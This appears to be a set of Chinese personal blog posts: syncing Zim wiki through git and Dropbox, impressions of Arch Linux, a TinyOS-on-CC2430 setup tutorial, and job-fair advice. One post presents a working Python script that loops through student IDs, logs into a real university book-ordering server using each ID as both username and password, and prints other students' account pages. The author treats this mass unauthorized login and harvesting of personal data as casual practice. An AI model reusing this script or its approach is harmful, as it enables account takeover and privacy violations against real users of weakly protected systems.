人大脑的记忆能力是有限的。 我平时鼓捣电脑经常会遇到很多问题,解决后就忘记了,但如果下次再遇到,就又要求助于google从而浪费很多时间。网上很多知识技巧不值得去花时间记忆,建立一个知识库来保存这些技巧知识是最好的方法。TL上面大家关于如何建立自己的个人知识管理系统给出了许多方案。没有什么是最好的,只有最适合自己的。我曾经尝试过利用书签,自建wiki站点,Evernote,Dropbox等来建立知识库。但是始终觉得不够方便便捷。经过多次尝试,我最终选择了Zim wiki结合github和Dropbox来建立我的个人知识管理系统。

Zim wiki(http://zim-wiki.org/)是一个跨平台的个人wiki软件,其linux版本非常好用,没有Evernote那些花哨不实的功能,呼出速度也很快,适合从网页或者终端中保存文字。用来作为简单的个人知识管理最合适不过。 但是Zim wiki缺少同步功能,所以我通过设置github来为其添加了这个功能。因为zimwiki中每个条目都是一个txt纯文档,所以只需要在平时使用的Notebook对应的目录下面设置git,就可以把内容同步到github上面。之后只需要再把git pull和git push这几个命令写成一个bash脚本,就可以实现自动同步了。

#syncwiki.sh
cd ~/knowledge
git pull origin master
git add *
git commit -m "new"
git push origin master

为了更加方便,我又修改了下/usr/bin下面的zim程序,在

except KeyboardInterrupt: # e.g. <ctrl>C while --server
	print >>sys.stderr, 'Interrupt'
	sys.exit(1)

中sys.exit(1)前面添加了

	os.popen("sh ~/syncwiki.sh")

并将新程序保存为zimm,这样通过zimm打开的zimwiki在每次关闭wiki前就会自动与github同步了。你也可以通过添加crontab来设定定时同步。 使用github可以实现不同linux主机间wiki系统的同步,而linux与windows系统之间的同步我选择了dropbox。 Dropbox同步方法非常简单,将linux下面notebook对应的文件夹用ln命令做个链接,链接到Dropbox下面,之后在windows系统下面,设置zimwiki打开Dropbox的文件夹就可以。这种同步方法的缺点是每次修改后再次从另外一个系统打开zimwiki的时候会卡上几秒钟,而且如果两个系统同时修改wiki则会造成冲突,从而导致同步失败。 虽然存在不足,但是其实一般工作的时候很少会linux和win系统同时去添加wiki。还是那句话,够用就好。

除了使用github,你也可以使用其他的在线版本控制系统来实现wiki的同步。比如新浪的SAE。如果需要将自己的个人知识管理系统共享给别人,可以直接使用zimwiki提供的httpserver,直接共享成为网页。如果需要长期共享,可以去搜索zim wiki deploy(作者的blog:blog github地址:GitHub),这个人提供了将zimwiki转换为dokuwiki的脚本。

除此之外,你也可以尝试使用ssh -X来远程启动zimwiki实现同步:)

转眼间我已经用了一年Archlinux,是该写点什么了。

我从Win投奔到Linux时间并不长,从07年开始通过RedHat系的Fedora第一次接触到了Linux,这全都得感谢我的学长的大力吹捧和慷慨解囊(免费赠送“正版”DVD)。Fedora的旅程并不顺利,系统总是出现各种毛病,而那时我还是个纯菜鸟,连yum都不知道。摆弄了一阵之后,又回到了Win。

后来在08年进入到了Debian系,Ubuntu 8.04确实是个杰出的版本,在这段时间里我的Linux水平也有了一定的提高。这段时期基本上是一半时间在Linux一半时间在Win。

而Ubuntu尽管很好,但还是没能留住我。频繁的升级和很差的跨版本升级体验使得我最终抛弃了这个发行版(Ubuntu8.04 -> 8.10->9.04 你懂的..)。而就这时,摒弃了版本号只通过滚动升级的Arch进入了我的视线。

每个人都有自己的喜好,我也不想对比这几个发行版之间的优劣,毕竟我还只是个刚刚摆脱菜鸟阶段的Linux新手。我下面写的是我使用Arch的感受。

Arch是一个轻巧的发行版,你可以通过安装完后的满屏黑底白字来亲身感受下“轻巧”的含义,也可以通过它高速的启动来感受下。我认为Arch并不是一个面向Linux新手的系统,Arch的很多优点恰恰需要用户有Ubuntu的经历才能体会的到,如果一上来就推荐给Linux的初次使用者,繁琐的安装过程往往会吓跑他们。

那么Arch有哪些优点呢?

第一个优点就是它具有强大的包管理系统pacman和AUR。后者需要安装一个yaourt软件后使用。对于一个Linux初学者而言,最麻烦的事情无异于是给系统安装各种软件。Ubuntu在这方面没有什么很好的解决办法,如果apt-get能够安装的到它,那么就会一番风顺,否则则要借助于一些第三方软件(Ubuntu Tweak)来安装或者自己编译。而在Arch下面,你只需要简单的“yaourt 软件名”,基本上所有常用的软件都会顺利的安装上去(mplayer ibus ibus-pinyin Virtualbox amarok openfetion etc...)。这点对于一个新手来说无疑是一个巨大的诱惑。我们不需要把时间花在怎么安装软件上面,只要在网上看到某篇文章推荐xx软件,我们就可以通过yaourt迅速安装到自己的系统上使用。另外yaourt也可以用来尝鲜,比如你可以通过搜索vim查找到大量的vim插件,通过搜索eclipse搜索到大量eclipse的插件,非常适合新手对系统中的各个软件进行功能加强和优化。

第二个优点是其KISS原则,Archlinux得花费你一整个晚上去安装,而在普通安装完毕后还需要花上至少两天的时间对系统进行调整。这似乎是一个缺点,但是对于新手而言,自己配置的系统才是自己最熟悉的能掌控的。不妨打个比喻,使用Ubuntu就像是买一台品牌机,使用Arch就相当于是自己按照别人的指导自己购买配件攒一台电脑,至于gentoo...恩,应该是自己印制电路板去攒吧(哈哈 有点夸张)。我当时不知道怎么控制Ubuntu自动启动的软件和服务,也不知道如何替换Ubuntu的gnome环境。品牌机也是一样,它肯定安装完后运行起来就非常流畅,但是它不适合你去继续鼓捣。而Arch的安装就像是搭积木,每一个软件的安装与否都取决于你,但是它又不像gentoo那样浪费你的时间。在Arch环境下,对于很多常用软件,你可以选择使用别人已经编译好的软件直接使用,但同时,使用yaourt依然给与你自己编译的权力。总的来说,使用Arch,你可以感觉到自己能够掌控整个系统。

第三个优点是文档丰富,一个Linux新手总会在系统使用的过程当中遇到这样那样的问题。Ubuntu有很好的中文论坛,而ArchLinux有很好的Wiki文档和英文论坛。特别要提的是它的Wiki,基本上常见的问题都能在上面得到答案,而且你还能够通过Wiki学到好多新的知识。除此之外,Linuxsir上面的Archlinux版块可以在一定程度上弥补其没有官方中文论坛的不足。

好了,优点已经总结完毕了。一个发行版的优点不必多,只要有那么一两个是你所需要的就足够了。我觉得对于一个亟待成长为高手的菜鸟而言,上述三个优点已经有足够的诱惑力了。

除了优点外,ArchLinux还有一个最大的特性——“新”

Archlinux永远冲在时尚的最前沿(:)),软件包更新速度非常快。不过这个特点也使得系统不总是那么稳定,我在这一年的使用中遇到过5次左右在升级后出现的不稳定情况。不过我还没有遇到没法启动gdm进入图形界面的这种糟糕的情况。其中有一次问题非常严重,系统总是在敲击回车鍵后自动注销,后来又演变成为死机。这个问题曾困扰了我两天,那时候已经有了重装系统的冲动,不过后来Linuxsir论坛给出了解决办法。(修改/etc/rc.conf 把gdm项放到最后一个启动项去启动就行了)频繁的更新的另外一个问题就是有些AUR仓库的软件包的依赖出现了问题,导致一些许久没有更新的软件没法安装。还有一个问题就是因为更新速度太快,所以你每次更新都需要花费一定的时间,如果网速不行的话,更新将会比较漫长。(好在国内Arch的源的速度还是不错的)

当然,新也有新的好处,你总是可以第一时间体验到软件的新功能,同时如果软件有bug,你可以通过更新来解决。另外,系统中的一些小问题也可能就在你的不停更新中悄然的就解决了:)

最后加句废话,Arch现在已经比我刚刚使用的时候稳定多了,最近更新一直没出现什么大问题。

最后说说什么人适合使用Arch:


使用过Ubuntu图形版或其他发行版,

喜欢鼓捣系统,

喜爱完全掌控系统的感觉,

追新,

喜欢编程,

讨厌gentoo和lfs的繁琐费时,

怕麻烦。

上面的几条不必全符合,个人建议,仅供参考:)

目前我的系统是ArchLinux使用awesome并结合部分gnome组件,双显示器,目前装了n多软件,但是系统依然很好用,开机速度没有受到任何影响。

轻巧的发行版 + 轻巧并支持多显示器的WM = 高工作效率。

来试试Arch吧 :)

上次介绍了使用PHP结合curl库来抓取成绩,其实用Python脚本也能完成类似的任务,而且完成的很漂亮。我越来越喜欢Python了 呵呵 这次下手的目标是学校的书籍订购站点,这个系统存在这一个巨大的漏洞——所有用户默认学号和密码是相同的。因此我用它来练习下信息抓取。 这次先放上代码,下面是Python代码:

import urllib,urllib2,cookielib
import re
f = open("字典地址","r")
username = f.readline().rstrip()
txt_last = ""
while username != '':
	a = cookielib.CookieJar()
	b = urllib2.build_opener(urllib2.HTTPCookieProcessor(a))
	urllib2.install_opener(b)
	dust1 = 'http://211.82.90.56:8080/caubook/TeacherLog.aspx?'+\
                      '__VIEWSTATE=%2FwEPDwUKMTk4Njc5NTU4Mg9kFgICAw9kFgICBw8PZBY'+\
                      'CHgdvbmNsaWNrBSdpZih0aGlzLmRpc2FibGVkPT1mYWxzZSl7cmV'+\
                      '0dXJuICBiYygpO31kZP%2B9YQS1SQoVhX0gctevArgHvY9U&Tbusername;='
	dust2 = username
	dust3 = '&Tbuserpwd;='
	dust4 = username
	dust5 = '&RadioButtonList1;=%E5%AD%A6%E7%94%9F&Button1;=%E7%A1%AE%E8%AE%A4&__EVENTVALIDATION'+\
                      '=%2FwEWBwKZqo6EDgKS6L7%2FCwK1gprrAQLo4%'+\
                     '2BrNDQLN7c0VAveMotMNAoznisYGXMvRojLDcm7L2wkg34m0QFH3k5c%3D'
	response=urllib2.urlopen(dust1+dust2+dust3+dust4+dust5)
	next = urllib2.urlopen('http://211.82.90.56:8080/caubook/Student/StuAna1.aspx')
	#print next.read()
	txt = next.read()
	if(txt != txt_last):
		txt_last = txt
		#txt = re.compile(r'< [^>]+>').sub('',txt)
		print txt
	username = f.readline().rstrip()

第三、四行的作用是打开一个文件,这个文件是作为字典使用的,每一行都是一个学号。这个学号将被读取进入程序并且作为用户名和密码被提交(因为系统默认用户名和密码是相同的)。 下面说下程序关键地方,dust(呵呵我比较喜欢给变量取一些诡异的名字^^ 毕竟是自己使用的脚本,也没几行,能用就行了,没必要遵守那么多规范了)1-5是用来拼凑提交URL的字符串片段。这个可以通过分析网页的HTML的POST部分结合抓包来获取——也就是说,只要在浏览器中输入dust1+dust2+dust3+dust4+dust5链接成的网址,就必须能够正常登录系统才行。这个书籍订阅系统存在一大堆乱七八糟的代码,我不会asp.net也不知道为什么要提交这些....我们只需要关注下&Tbusername;=和&Tbuserpwd;=后面跟的参数就行了——一个是用户名一个是密码,当然都是学号。我们需要用

response=urllib2.urlopen(dust1+dust2+dust3+dust4+dust5)

来提交这个网址 我们提交完后会返回一个cookie,我以前不知道如何保存这个cookie,在Python中,我们只需要先设定

a = cookielib.CookieJar()

再执行

b = urllib2.build_opener(urllib2.HTTPCookieProcessor(a)) urllib2.install_opener(b)

就可以让程序自动保存后面提交后返回的cookie了。 通过上面的介绍,我们已经实现了模拟浏览器提交,并保存好返回cookie的任务,下面我们只需要在存在cookie的情况下(也就是在登录系统后)访问我们想要查看的页面就行了。后面的代码就是干这个用的。

综上,简单的几行代码我们就轻松实现了模拟登录及cookie保存,我们可以用它完成更多的任务。 我这次的任务就是抓取资料,所以后面的就不多谈了,大家自己研究吧:)

P.S. 抓取资料时请尊重别人隐私以及不要破坏他人资料。违者责任自负。

注:如果对CC2430和TinyOS不甚了解,请跳过这篇文章

--

本文发表在PSYcHic

原文地址为:http://www.darlingtree.com/wordpress/archives/187 如需转载请保留这个网址 谢谢!

现在国内做WSN研究的人越来越多了。在硬件方面,我们国内不像国外那样拥有很多硬件开发平台可以供我们选择。而且,crossbow的专业开发平台价格非常昂贵。不过随着越来越多的公司开始关注WSN,zigbee,我们现在还是有可能在千元之内就搭建出来一套自己的无线传感器开发系统。

CC2430是现在较为理想的硬件平台。在国内,大多数人还是使用IAR结合z-stack协议栈(或者是变种的xx龙版)进行开发。z-stack协议栈开发比较简便,很适合新手使用。但是如果你是搞学术研究,需要深入研究组网及相关算法开发的话,那么UC Berkely的TinyOS才是最佳的选择。(我相信聪明的人不会去淌z-stack的OSAL的浑水吧....)

很多人已经成功将TinyOS移植到了CC2430上了。但是目前在网上似乎找不到有比较详细操作步骤的文章。那么我来给大家科普下吧:)

-

介绍:

首先,我们要往CC2430上移植的是TinyOS 2.x版本。如果你英文好的话直接前往下面这里查看相关资料http://tinyos8051wg.sourceforge.net/

TinyOS2.x for 8051目前支持三种编译器——Keil,IAR,sdcc 我们采用的编译器是Keil——这个大家都比较熟悉。TinyOS 2.x 是必须在Linux平台下才能工作的,而Keil则是一个windows下的软件,所以我们必须要先安装一个在windows下面模拟linux的软件——Cygwin。

移植前,我们需要准备的东西有:

硬件:CC2430节点,仿真器

软件:Cygwin,Keil,TinyOS 2.x,一些相关的环境设置包,SmartRF04 Flash Programmer

硬件就是原来在IAR下能正常使用的CC2430开发硬件就OK(不管是无线龙的,华凡的,微骨的都行)

软件我需要说下:

TinyOS 2.x : 请到http://tinyos8051wg.sourceforge.net/download 这里下载最新版本 (本文是根据TinyOS8051wg-0.1pre4.tgz 26 Oct 2008 这个版本进行的介绍)

Keil:请安装好,记住一定要安装没有2K限制的版本。

下面开始安装软件:

0、安装Keil ——Keil是现在单片机开发必备的软件了,网上资料一大堆,我就省略了。自己安装好就可以了。

1、安装Java 1.5 JDK

下载地址 http://java.sun.com

如果你做Java开发,以前安装过的话就可以跳过这一步了。

2、安装Cygwin

请安装TinyOS推荐使用的版本。不少人在后面遇到各种诡异的问题就是因为Cygwin安装不当,缺少一些必要的组件。

你可以去:http://cone.informatik.uni-freiburg.de/people/aslam/cygwin-files.zip

下载这个版本的Cygwin。

如果链接失效,请前往TinyOS官方的wiki寻找其推荐的Cygwin版本:http://docs.tinyos.net/index.php/Installing_TinyOS_2.0.2#Manual_installation_on_your_host_OS_with_RPMs

安装过程很简单,一路next下去就OK,不过请记住你安装的位置。本文默认是安装到C盘下。

3、下载TinyOS开发必备的编译工具的安装包(一共4个)

NesC编译工具:nesc-1.3.0-1.cygwin.i386.rpm

TinyOS相关工具:

tinyos-deputy-1.1-1.cygwin.i386.rpm

tinyos-tools-1.3.0-1.cygwin.i386.rpm

tinyos-2.1.0-2.cygwin.noarch.rpm

4、启动Cygwin,并在Cygwin下安装上面下载好的rpm包

双击图标即可启动Cygwin。 正常启动后应该会有"$"标识符和光标。

我们要安装rpm包,就要首先切换到rpm包存放的目录下。如果你熟悉Linux,那么自己安装就行。如果不是的话,按照我所说的一步一步来。

1)首先找到你安装Cygwin的目录,如果是默认安装的话就是C:

2)进入目录,发现里面有/bin /var /etc /opt /home等文件夹,Linux系统下的根目录就是这个样子啦。

我们双击home文件夹,发现里面又有另外一个文件夹,起的是你安装时设置的用户名称,假设你叫做quake(请替换为你自己的用户名)。现在进入C:

好了,当我们一启动Cygwin,程序的终端窗口默认也是停留在/home/quake下面。下面我们需要把刚刚下载的4个rpm包拷贝到C:。

之后在Cygwin终端下输入

ls

按回车后,你会发现终端的窗口里显示了你刚刚拷过去的rpm包的名字。(更多Linux bash命令请参考Linux资料)

下面需要一个一个安装

输入

rpm -ivh nesc-1.3.0-1.cygwin.i386.rpm rpm -ivh tinyos-tools-1.3.0-1.cygwin.i386.rpm rpm -ivh tinyos-deputy-1.1-1.cygwin.i386.rpm rpm -ivh tinyos-2.1.0-1.cygwin.noarch.rpm

每输入一行,按一次回车,我们就把对应的rpm包给安装好啦。把4个rpm包都安装好后就可以进行下一步了。

5、安装TinyOS 2.x

将下载好的TinyOS 2.x的安装包给解压缩(如TinyOS8051wg-0.1pre4.tgz),解压缩用winrar就可以。

将解压好的tinyos-2.x-contrib这个文件夹拷贝到C:下

好了。我们已经把TinyOS的开发环境基本搭建好了。

下面我们实际编译个程序吧!

首先在Cygwin下面输入

cd /opt

ls

你可以看到opt目录下有你刚刚拷贝过去的tinyos-2.x-contrib文件夹,继续输入

cd tinyos-2.x-contrib/

我们查看下该目录下面有什么

ls

发现有个diku文件夹

下面输入

source diku/env

说明:diku文件夹下面有个env配置文件,我们通过source 命令加载下,这样后面编译的时候编译器就知道我们要使用什么样的配置去编译了。关于env配置文件的具体内容稍后介绍。我们用Keil编译,保持其默认状态就可以了。

之后我们就可以编译了,所有的例子在tinyos-2.x-contrib/diku/common/apps/下面,我们以BlinkNoTimerTask为例

输入

cd /diku/common/apps/BlinkNoTimerTask

make cc2430em

如果一切正常的话,你会看到:

GENERATING INTEL HEX FILE: app.hex compiled BlinkNoTimerTaskAppC to a cc2430em binary Code size of app.o MODULE INFORMATION:   STATIC OVERLAYABLE CODE SIZE        =    635    - CONSTANT SIZE    =   -    - XDATA SIZE       =      4       9 PDATA SIZE       =   -    - DATA SIZE        =   -    - IDATA SIZE       =   -    - BIT SIZE         =   -    - Total sizes Program Size: data=9.0 xdata=10 const=0 code=694

这段话,这表明你已经成功了!~

好了,下面我们看看TinyOS生成了什么吧~

C:-2.x-contrib2430em

这个目录下面

我们发现了其编译生成的app.hex文件。现在只要把这个文件烧录进单片机,我们就大功告成了!

烧录

我们安装下SmartRF04 Flash Programmer这个软件,这个软件一般购买仿真器的话都会在附送的光盘里面赠送,如果没有的话网上搜索下吧,实在没有给我发信索取下。

之后我们插好仿真器,打开SmartRF04 Flash Programmer这个软件,在system-on-chip的选项卡下

将hex文件选择为我们刚刚编译好的那个,之后选择“Perform actions”就可以顺利烧写了:)

好了,如果一切正常,那么恭喜你已经将TinyOS成功移植到了CC2430上了。我们成功摆脱了IAR不断升级的困扰和Z-stack,已经进入到了TinyOS的世界了。

欢迎大家继续和我讨论关于TinyOS的相关问题 我的邮箱zzzlog#sogou.com

嗯,其实我今天是第一次参加招聘会,在这里讨论这个未免有点班门弄斧的感觉,不过我觉得有些东西还是可以和大家分享下的。我先把我的一些感想写出来,有不同意见的欢迎指正。

首先,因为我只是大三,也没有找工作的意思,所以今天是空手去招聘会的,不过还是成功的引起了几家公司的注意,并且留下了联系方式。当然,下次如果我再去的话一定会准备份简历。

如何引起招聘会人的注意呢? 我认为,首先,你要分清楚前去招聘的人到底是公司专业的HR,还是雇佣的一帮菜鸟。如果你看那个展台只收简历,并没有和你详谈的意思,那么你也就别投简历了。 道理很简单,那家公司根本就没有重视这次招聘。你投过去又能有多大的用呢?如果你真的想去那家公司,你肯定能找到更好的方法,而不只是扔过去一份简历。

好了,假设现在你面对的是专业的HR了,那么又该怎么做呢? 其实找工作和做黑客是有相似之处的,首先,你要先摸清楚这家公司的底细,也就是他们希望要什么样子的人。这个一般可以通过浏览他们公司的介绍(一般就在展台旁边等处),以及询问公司HR来得知。如果你发现你的能力以及专长并不是他们所希望要的那类人,那么也就不要浪费时间再问了。比如,有的公司就是想招个老师,那么学历就很重要,而像我等undergraduate,就不要奢望能捡到这份工作了——这年头估计硕士都没戏,毕竟博士都大把大把的。

那么如何判断一个工作是不是能够抢到手呢? 首先,如果你觉得你有能力,那么不要去管招聘条件。比如今天我遇到的:计算机相关专业,硕士学历——这个职位一下就把测控专业,本科的我给刷下去了,但其实我还是成功的给他们留下了我的联系方式,而没有拒绝我,为什么?

诀窍就在于我成功的推断出来那家公司想要的人:

当时在我前面有个同学这样问:

“你们是不是只要计算机相关专业的人?我不是计算机相关专业的,但是我也学过JAVA,并且开发过相关系统。你们会不会要我?”(大意)。

HR回答到:

“你对JAVA了解有多少?我们上面的这些你都会么?”

同学答:

“我也不能说是太熟悉(注意这里!),就跟导师一起做过项目(注意这里,这人可能是传说中的牛逼研究生),做过相关的开发。我觉得你们公司不一定要招聘像你们写的那样是计算机相关专业的人,你们写的那些有些非相关专业的人也都会,你们也可以考虑的啊(在最后注意下这句话——这句话直接导致他这次套磁失败)”

HR毫不留情的(我的形容词)说到:

“对不起,其实我们公司用的语言并不是JAVA(千万记住这句话),我们的工程师已经开发好了一个游戏引擎,用的是另外的语言,我们之所以要招计算机的学生,是因为他们的学起新的语言来相对比较轻松,有基础,所以我们不招非本专业的人。”

OVER..

好了,作为黑客,那么当你获取到这些信息后会得出什么结论?这家公司不要非计算机专业的人?? 大错特错。

我的结论是:这家公司希望招聘到能够进去稍微培训下就能干活的人。 千百万的毕业生,都很牛逼,怎么招? 自然是要限定专业,而且他们公司需要做的是引擎的二次开发(从上段话中推断),那么他们自然害怕本科生没有那种技术,认为硕士生可能会比较牛逼些。

OK,分析完毕,那么下面就是我的表演时间了。

入侵的第一步——吸引对方注意。

要想一下子吸引对方注意,就要知道对方对什么会比较敏感,弱点在哪里。很可惜,大多数情况下你猜不出来。不过还好,你没必要一下子猜出来,你只需要知道一个范围就行了。

我先说:

“你好,我也并不是计算机专业的学生,我的专业是测控技术与仪器。但是我对你们公司的技术很了解,比如JAVA。(先亮出前提)。我还对脚本语言Python以及Lua比较感兴趣。(上面这句是关键)我参加过国家大学生创新计划,主要做XXX用过XXX,URP.....(这里主要是吹就行了)”

好了,为什么要说脚本语言?为什么要提Python Lua? 首先,我问的公司肯定是家游戏公司,而且他们还有套自己开发的引擎。而且还不是用Java开发的。 那么如果你但凡知道一丁点的关于游戏引擎的知识,你就应该了解到脚本语言是在其中起到至关重要的作用的。但具体是Python还是Lua,还是两者都有? 这个你是不可能知道的,不过你可以像我这样去套HR。

HR(眼睛一亮)说:

“哦,我听你说你对Python很感兴趣? 我们公司的引擎就是使用C++和Python开发的。 你听说过XXXXX嘛?”

我:

没听说过。

入侵第二步——控制谈话主题,有意引领敌方进入我方阵地

这里很重要,也很关键。首先,你不要害怕这种情况,就是:你提出一个“Python”后,对方会大肆利用相应名词来进攻你。为什么呢,因为经过我们的分析,这家公司并不是要聘一个会Python的,否则他们干脆就写找Python的大牛不就行了。他们写了Java,那么就是说他们并不会因为你不会Python而拒绝你。当然,在他提到XXXX的时候,如果你不想陷于苦战,那么就不要说会,除非你真的会 哈哈。

HR(继续):

“你带简历来了嘛? 你是什么专业的?”

我如实回答。并且再次提到我做的项目——使用名词轰炸(这里要保证你说的你都会,否则就不如不说)。提我做过的项目的目的是要转移话题,把话题从我不懂的Python转到我熟悉的领域上来,而给对方一种我什么都会的错觉。

入侵第三步——展示你的专业性,给对方沉痛打击

HR:我们公司找的就是.....希望你能够对我们的引擎进行.

我抢话到:“二次开发”

HR:"对,二次开发"

XXX

XXX

以下省略技术用语对话n句,写上来没什么用。

这里的抢话很有用,能够体现你的专业性,平时注意多多使用行业黑话及隐语(argot)。

HR:"我把我们公司的邮箱联系方式给你留下吧,你把你的手机和邮箱给我留下。我们会再通知你面试的时间。"

Got it!

好了,我目送那位可怜的研究生GG在听完我和HR的对话后灰溜溜的离去。我则忙着留联系方式。其实我们俩的水平也许真的差不多,也没准他很强,不过看他那么想投份简历(从其渴望的眼神中推测),却被拒掉,真的是很可惜。

因为他不懂得展示自己,不懂得语言的艺术,也没有做过对对方的分析。

盲目瞎碰,最后定是一无所获。

我们再回顾下他的话 

“我也不能说是太熟悉,就跟导师一起做过项目,做过相关的开发。我觉得你们公司不一定要招聘像你们写的那样是计算机相关专业的人,你们写的那些有些非相关专业的人也都会,你们也可以考虑的啊”

什么叫做也不能说是太熟悉??怎么算是熟悉? 对方根本没有定下来熟悉的标准,那么你干嘛自己给自己定标准。这个时候不是谦虚的时候。如果他比较强,那么他完全可以说他会什么——Struts,Hibernate,Spring,Swing,Eclipse,DW(当然后面这两个还是不说为好呵呵)。你说出来不就行了。 如果你不是很懂,那么你也可以介绍你用Java实现过什么功能。 “相关的开发”,这简直是太模糊了,HR根本不能判断你到底懂不懂。

还有最后那句话,那是能和HR说的吗?! 这句话说的太愣了,给原本友好的谈话添加了不必要的火药味。 所以这个同学结果可想而知。

总结:

说了这么多技巧,however,自己还是一定要有些真本事才能被最终录取,技巧很重要,但他只能让你引起HR的重视和注意,能不能最终录取,还是拼实力。

在校期间,多对自己想要从事的职位加以了解。 有很多较新的相关知识学校是不教的,比如Python,但是其实一点都不难。你是否知道这些新的东西往往决定了你能否脱颖而出。

在校期间注意积累自己所做的东西。哪怕是作业。一定要知道,HR不一定很牛,HR不会所有的东西都了解,所以你所做的东西在你看来很简单,而他们没准却会觉得你很强。

提升自己的硬性指标。那些较新的相关知识和乱七八糟的一对术语也许能让你获得一份工作,但是要想进入公司后依然牛逼,那么得有想应的实力——比如专业知识,数学技能,编程技能,英语水平,文学修养——这些不是一朝一夕能完成的,是真需要下苦功夫练的。

 

希望这篇拙文能对大家有所帮助。